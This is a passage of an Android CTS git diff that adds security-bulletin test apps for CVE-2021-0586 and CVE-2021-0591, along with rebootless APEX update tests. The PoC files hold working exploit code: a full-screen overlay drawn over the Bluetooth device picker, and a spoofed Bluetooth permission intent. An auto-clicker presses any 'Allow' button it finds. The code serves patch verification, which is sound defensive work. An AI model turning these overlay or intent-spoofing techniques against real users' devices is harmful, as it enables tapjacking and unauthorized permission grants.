+        mDevice.pressHome();
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager);
+        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+        assertNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS);
+    }
+
+    @After
+    public void lastOperation() {
+        SystemClock.sleep(LAUNCH_TIMEOUT_MS);
+    }
+
+    @Test
+    public void testClick() {
+        Pattern pattern = Pattern.compile(
+                getApplicationContext().getResources().getString(R.string.overlay_button),
+                Pattern.CASE_INSENSITIVE);
+        BySelector selector = By.text(pattern);
+        String message = "Device is vulnerable to b/182584940 hence any app with "
+                + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
+        assertNull(message, mDevice.findObject(selector));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
new file mode 100644
index 0000000..e242a4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.Handler;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+import android.provider.Settings;
+import android.view.View;
+
+public class PocActivity extends Activity {
+    private WakeLock mScreenLock;
+    private Context mContext;
+
+    private void startOverlayService() {
+        if (Settings.canDrawOverlays(this)) {
+            Intent intent = new Intent(PocActivity.this, PocService.class);
+            startService(intent);
+        } else {
+            try {
+                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+                startActivityForResult(intent, 1);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    private void stopOverlayService() {
+        Intent intent = new Intent(PocActivity.this, PocService.class);
+        stopService(intent);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        mContext = this.getApplicationContext();
+        PowerManager pm = mContext.getSystemService(PowerManager.class);
+        mScreenLock = pm.newWakeLock(
+                PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
+                "PocActivity");
+        mScreenLock.acquire();
+        try {
+            Thread.sleep(6000);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        startOverlayService();
+        Intent sharingIntent = new Intent(Intent.ACTION_SEND);
+        sharingIntent.setType("image/*");
+        sharingIntent.setPackage("com.android.bluetooth");
+        Uri uri = Uri.parse("android.resource://android.security.cts.CVE_2021_0586"
+                + "/drawable/cve_2021_0586.png");
+        sharingIntent.putExtra(Intent.EXTRA_STREAM, uri);
+        startActivity(Intent.createChooser(sharingIntent, "Share image"));
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        mScreenLock.release();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java
new file mode 100644
index 0000000..6f0df6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    public static Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        if (Settings.canDrawOverlays(this)) {
+            mButton = new Button(getApplicationContext());
+            mButton.setText(getResources().getString(R.string.overlay_button));
+            mWindowManager.addView(mButton, mLayoutParams);
+            new Handler().postDelayed(new Runnable() {
+                @Override
+                public void run() {
+                    onDestroy();
+                }
+            }, 60000); // one minute
+            mButton.setTag(mButton.getVisibility());
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
new file mode 100644
index 0000000..1fcf212
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-0591",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml
new file mode 100644
index 0000000..8e33f0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0591"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0591"
+        android:supportsRtl="true">
+
+        <activity android:name=".PocActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+  <instrumentation
+    android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0591" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java
new file mode 100644
index 0000000..0ca91d8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0591;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import java.util.List;
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final String BASIC_SAMPLE_PACKAGE =
+        "android.security.cts.CVE_2021_0591";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        try {
+            mDevice.wakeUp();
+            mDevice.pressMenu();
+            mDevice.pressHome();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Context context = getApplicationContext();
+        assertThat(context, notNullValue());
+        PackageManager packageManager = context.getPackageManager();
+        assertThat(packageManager, notNullValue());
+        final Intent intent = packageManager.getLaunchIntentForPackage(BASIC_SAMPLE_PACKAGE);
+        assertThat(intent, notNullValue());
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        mDevice.wait(Until.hasObject(By.pkg(BASIC_SAMPLE_PACKAGE).depth(0)), LAUNCH_TIMEOUT_MS);
+    }
+
+    @After
+    public void lastOperation() {
+        SystemClock.sleep(20000);
+    }
+
+    @Test
+    public void testClick() {
+        List<UiObject2> objects;
+        BySelector selector = By.clickable(true);
+        String button;
+        objects = mDevice.findObjects(selector);
+        for (UiObject2 o : objects) {
+            button = o.getText();
+            if (button == null) {
+                continue;
+            }
+            if (button.matches("ALLOW|YES|Allow|Yes")) {
+                o.click();
+                return;
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java
new file mode 100644
index 0000000..e1a12f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0591;
+
+import android.app.Activity;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.content.Intent;
+import android.os.Bundle;
+
+import static org.junit.Assert.assertNotNull;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Intent i = new Intent("android.bluetooth.device.action.CONNECTION_ACCESS_REQUEST");
+        i.setClassName("com.android.settings",
+                "com.android.settings.bluetooth.BluetoothPermissionActivity");
+        BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
+        assertNotNull(bluetoothAdapter);
+        i.putExtra(BluetoothDevice.EXTRA_DEVICE,
+                bluetoothAdapter.getRemoteDevice("00:11:22:33:AA:BB"));
+        i.putExtra("android.bluetooth.device.extra.PACKAGE_NAME", "com.android.systemui");
+        i.putExtra("android.bluetooth.device.extra.CLASS_NAME",
+                "com.android.systemui.screenshot.ScreenshotServiceErrorReceiver");
+        startActivity(i);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
index 0028642..85c4d6a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0691",
     defaults: ["cts_support_defaults"],
@@ -23,4 +27,3 @@
     ],
     sdk_version: "current",
 }
-
diff --git a/hostsidetests/silentupdate/OWNERS b/hostsidetests/silentupdate/OWNERS
index ae6bbf5..890677b 100644
--- a/hostsidetests/silentupdate/OWNERS
+++ b/hostsidetests/silentupdate/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 36137
 patb@google.com
+toddke@google.com
 chiuwinson@google.com
\ No newline at end of file
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 39618ff..2bab456 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -70,6 +70,8 @@
         ":StagedInstallTestApexV2_NoApkSignature",
         ":StagedInstallTestApexV2_UnsignedPayload",
         ":StagedInstallTestApexV2_SignPayloadWithDifferentKey",
+        ":StagedInstallTestApexV2_Rebootless",
+        ":StagedInstallTestApexV3_Rebootless",
     ],
     static_libs: [
         "androidx.test.runner",
@@ -559,6 +561,46 @@
   installable: false,
 }
 
+prebuilt_apex {
+  name: "StagedInstallTestApexV2_Rebootless",
+  arch: {
+        arm: {
+              src: "testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex",
+        },
+        arm64: {
+              src: "testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex",
+        },
+        x86: {
+              src: "testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex",
+        },
+        x86_64: {
+              src: "testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex",
+        },
+    },
+  filename: "com.android.apex.cts.shim.v2_rebootless.apex",
+  installable: false,
+}
+
+prebuilt_apex {
+  name: "StagedInstallTestApexV3_Rebootless",
+  arch: {
+        arm: {
+              src: "testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex",
+        },
+        arm64: {
+              src: "testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex",
+        },
+        x86: {
+              src: "testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex",
+        },
+        x86_64: {
+              src: "testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex",
+        },
+    },
+  filename: "com.android.apex.cts.shim.v3_rebootless.apex",
+  installable: false,
+}
+
 // collects deapexer and its dependency modules (libc++ and debugfs_static) to the zip file.
 genrule {
   name: "deapexer.zip",
diff --git a/hostsidetests/stagedinstall/OWNERS b/hostsidetests/stagedinstall/OWNERS
index 6919d6f..1bccb47 100644
--- a/hostsidetests/stagedinstall/OWNERS
+++ b/hostsidetests/stagedinstall/OWNERS
@@ -1,5 +1,6 @@
 # Bug component: 36137
 dariofreni@google.com
+toddke@google.com
 narayan@google.com
 patb@google.com
 ioffe@google.com
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
index f8eabdb..712c563 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
@@ -105,6 +105,64 @@
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
+    @Test
+    public void testRejectsApexWithAdditionalFile_rebootless() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, "com.android.apex.cts.shim.v2_additional_file.apex");
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "is an unexpected file inside the shim apex",
+                Install.single(apex));
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRejectsApexWithAdditionalFolder_rebootless() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, "com.android.apex.cts.shim.v2_additional_folder.apex");
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "is an unexpected file inside the shim apex",
+                Install.single(apex));
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRejectsApexWithPostInstallHook_rebootless() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, "com.android.apex.cts.shim.v2_with_post_install_hook.apex");
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "Shim apex is not allowed to have pre or post install hooks",
+                Install.single(apex));
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRejectsApexWithPreInstallHook_rebootless() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, "com.android.apex.cts.shim.v2_with_pre_install_hook.apex");
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "Shim apex is not allowed to have pre or post install hooks",
+                Install.single(apex));
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRejectsApexWrongSHA_rebootless() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, "com.android.apex.cts.shim.v2_wrong_sha.apex");
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class, "has unexpected SHA512 hash", Install.single(apex));
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
     private static int stageApex(String apexFileName) throws Exception {
         TestApp apexTestApp = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
                 true, apexFileName);
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 24501e3..e7d419b 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -166,6 +166,12 @@
     private static final TestApp Apex2SignPayloadWithDifferentKey = new TestApp(
             "StagedInstallTestApexV2_SignPayloadWithDifferentKey", SHIM_APEX_PACKAGE_NAME, 1,
             /*isApex*/true, "com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex");
+    private static final TestApp Apex2Rebootless = new TestApp(
+            "StagedInstallTestApexV2_Rebootless", SHIM_APEX_PACKAGE_NAME, 2,
+            /*isApex*/true, "com.android.apex.cts.shim.v2_rebootless.apex");
+    private static final TestApp Apex3Rebootless = new TestApp(
+            "StagedInstallTestApexV3_Rebootless", SHIM_APEX_PACKAGE_NAME, 3,
+            /*isApex*/true, "com.android.apex.cts.shim.v3_rebootless.apex");
 
     @Before
     public void adoptShellPermissions() {
@@ -1258,6 +1264,173 @@
         assertThat(isUpdatedSystemApp).isTrue();
     }
 
+    @Test
+    public void testRebootlessUpdate() throws Exception {
+        InstallUtils.dropShellPermissionIdentity();
+        InstallUtils.adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGE_UPDATES);
+
+        final PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
+            assertThat(apex.getLongVersionCode()).isEqualTo(1);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)
+                    .isEqualTo(ApplicationInfo.FLAG_SYSTEM);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                    .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/system/apex");
+        }
+
+        Install.single(Apex2Rebootless).commit();
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
+            assertThat(apex.getLongVersionCode()).isEqualTo(2);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                    .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/data/apex/active");
+        }
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME,
+                    PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
+            assertThat(apex.getLongVersionCode()).isEqualTo(1);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)
+                    .isEqualTo(ApplicationInfo.FLAG_SYSTEM);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED).isEqualTo(0);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/system/apex");
+        }
+    }
+
+    @Test
+    public void testRebootlessUpdate_installV3() throws Exception {
+        InstallUtils.dropShellPermissionIdentity();
+        InstallUtils.adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGE_UPDATES);
+
+        final PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+
+        Install.single(Apex3Rebootless).commit();
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
+            assertThat(apex.getLongVersionCode()).isEqualTo(3);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                    .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/data/apex/active");
+        }
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME,
+                    PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
+            assertThat(apex.getLongVersionCode()).isEqualTo(1);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)
+                    .isEqualTo(ApplicationInfo.FLAG_SYSTEM);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED).isEqualTo(0);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/system/apex");
+        }
+    }
+
+    @Test
+    public void testRebootlessUpdate_downgradeToV2_fails() throws Exception {
+        InstallUtils.dropShellPermissionIdentity();
+        InstallUtils.adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGE_UPDATES);
+
+        final PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
+            assertThat(apex.getLongVersionCode()).isEqualTo(3);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                    .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/data/apex/active");
+        }
+
+        InstallUtils.commitExpectingFailure(
+                    AssertionError.class,
+                    "Downgrade of APEX package com.android.apex.cts.shim is not allowed",
+                    Install.single(Apex2Rebootless));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+    }
+
+    @Test
+    public void testRebootlessUpdate_noPermission_fails() throws Exception {
+        InstallUtils.dropShellPermissionIdentity();
+
+        InstallUtils.commitExpectingFailure(SecurityException.class,
+                    "Not allowed to perform APEX updates",
+                    Install.single(Apex2Rebootless));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_noPreInstalledApex_fails() throws Exception {
+        assertThat(getInstalledVersion(DIFFERENT_APEX_PACKAGE_NAME)).isEqualTo(-1);
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "It is forbidden to install new APEX packages",
+                Install.single(Apex2DifferentPackageName));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
